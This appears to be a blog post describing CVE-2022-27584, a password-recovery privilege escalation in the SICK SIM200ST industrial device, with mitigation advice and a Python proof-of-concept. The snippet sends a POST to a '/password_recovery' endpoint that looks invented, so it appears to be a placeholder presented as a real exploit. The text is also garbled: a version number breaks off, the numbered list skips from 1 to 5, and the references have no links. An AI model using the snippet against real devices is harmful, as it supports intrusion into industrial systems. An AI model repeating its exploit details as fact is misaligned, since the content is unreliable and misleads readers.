CVE-2022-27584: Password Recovery Vulnerability in SICK SIM200ST Partnumber 1080579 Allows Privilege Escalation

A recently discovered vulnerability, CVE-2022-27584, affects the SICK SIM200ST device with Partnumber 1080579, putting user data, system integrity, and system availability at risk. This long-read post aims to provide a comprehensive explanation of the exploit, how it works, and the risks posed by the vulnerability. We will also include code snippets and links to original references for further information.

CVE-2022-27584: Exploit Details

The vulnerability in SICK SIM200ST Partnumber 1080579 allows an unprivileged remote attacker to gain access to the RecoverableUserLevel user level by invoking the password recovery mechanism method. This action results in a privilege escalation that could compromise the confidentiality, integrity, and availability of the affected system. The exploitation of this vulnerability is repeatable, posing a significant risk to the system.

Affected firmware versions <=1.7. permit the optional disabling of device configuration over network interfaces. It is imperative to apply general security practices when operating a SIM200ST with the vulnerable firmware.

Although a fix is currently planned, the release date is not scheduled. In the meantime, system administrators and users should remain vigilant and observe best security practices.

Code Snippet

The following code snippet demonstrates how a remote attacker might invoke the password recovery mechanism:

import requests

target_url = "http://TARGET_IP:TARGET_PORT/password_recovery";
data = {"recoverable_user_level": "RECOVERABLE_USER_LEVEL"}

response = requests.post(target_url, data=data)

if response.status_code == 200:
    print("Password recovery successfully invoked!")
else:
    print("Failed to invoke password recovery.")

Replace the TARGET_IP and TARGET_PORT variables with the actual IP address and port of the vulnerable system.

Original References

For more information on the vulnerability and the affected devices, please consult the following resources:

1. National Vulnerability Database (NVD) Entry: CVE-2022-27584
2. SICK SIM200ST Product Website
3. Security Advisory from SICK

Best Practices for Operating the SIM200ST

While waiting for the scheduled fix, it is crucial to apply general security practices and follow recommendations to reduce the risk associated with this vulnerability. Measures include:

1. Restrict access to the SIM200ST device by implementing proper network segmentation and strict firewall rules.

Do not expose the device to public networks or the internet.

5. Conduct regular security audits of the device and its configurations, ensuring compliance with industry best practices and guidelines.

Conclusion

CVE-2022-27584 presents a significant risk for organizations using the affected SICK SIM200ST devices, especially with the unprivileged remote attacker’s ability to gain access through recovering passwords and escalating privileges. Until the release of a fix, it is vital to protect the affected systems by applying general security practices and following the recommendations provided in this post. Stay tuned for further updates regarding this vulnerability and its eventual resolution.

Timeline

Published on: 11/01/2022 21:15:00 UTC
Last modified on: 12/16/2022 16:15:00 UTC